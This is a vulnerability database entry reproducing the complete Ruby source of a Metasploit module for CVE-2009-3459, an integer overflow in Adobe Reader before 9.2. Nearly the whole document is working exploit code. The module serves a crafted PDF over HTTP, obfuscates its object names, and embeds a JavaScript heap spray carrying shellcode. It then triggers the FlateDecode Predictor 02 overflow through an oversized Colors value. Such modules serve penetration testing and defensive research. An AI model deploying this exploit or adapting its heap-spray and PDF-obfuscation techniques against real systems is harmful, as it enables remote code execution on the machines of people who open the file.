Adobe FlateDecode Stream Predictor 02 Integer Overflow

2009-12-16T20:37:57
ID MSF:EXPLOIT/WINDOWS/BROWSER/ADOBE_FLATEDECODE_PREDICTOR02
Type metasploit
Reporter Rapid7
Modified 2017-10-05T21:44:36

Description

This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions before 9.2.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
      'Description'    => %q{
          This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
        Acrobat Professional versions before 9.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'unknown', # Found in the wild
          # Metasploit version by:
          'jduck',
          'jabra'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-3459' ],
          [ 'BID', '36600' ],
          [ 'OSVDB', '58729' ],
          [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # test results (on Windows XP SP3)
          # reader 7.0.5 - untested
          # reader 7.0.8 - untested
          # reader 7.0.9 - untested
          # reader 7.1.0 - untested
          # reader 7.1.1 - untested
          # reader 8.0.0 - untested
          # reader 8.1.2 - untested
          # reader 8.1.3 - untested
          # reader 8.1.4 - untested
          # reader 8.1.5 - untested
          # reader 8.1.6 - untested
          # reader 9.0.0 - untested
          # reader 9.1.0 - works!
          # reader 9.2 - not vulnerable
          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
            {
              'Size'      => ((1024*1024) - 32)
            }
          ],
        ],
      'DisclosureDate' => 'Oct 08 2009',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Make some nops
    nops    = Rex::Text.to_unescape(make_nops(4))
    randnop = rand_text_alpha(rand(100) + 1)

    # Randomize variables
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)

    script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{randnop} = "#{nops}";
var #{rand2} = unescape(#{randnop});
while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
memory = new Array();
for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
|
    # Create the pdf
    pdf = make_pdf(script)

    print_status("Sending #{self.name}")

    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })

    handler(cli)

  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_flate_data()

    # NOTE: this data is from the original, in-the-wild exploit...
    # on 9.1.0 xpsp3, this causes a crash executing 0x70000000
    # that's not exactly a fun address to try to heap spray to
    bpc = 1
    data = "\x00\x00\x20\x00\x00\x00\x10"

    # this way, we can adjust dwords on the heap by 8-bits of data..
    # this leads to eip being around 0x1000xxxx, much more friendly
    bpc = 8
    addend = 9
    data = "\x00" * 64
    data[18,1] = [addend].pack('C')
    data[51,1] = [addend].pack('C')

    return bpc, data
  end


  def make_pdf(js)

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol

    # Randomize PDF version?
    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol

    xref << pdf.length
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2)
    pdf << n_obfu("/Pages ") << io_ref(3)
    pdf << n_obfu("/OpenAction ") << io_ref(5)
    pdf << ">>" << endobj

    xref << pdf.length
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj

    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj

    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7)
    pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj

    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj

    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    # generate data for inside the flate'd stream
    bits_per_component, data = make_flate_data()
    compressed = Zlib::Deflate.deflate(data)

    xref << pdf.length
    pdf << io_def(7) << n_obfu("<</DecodeParms")
    pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
    pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj

    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end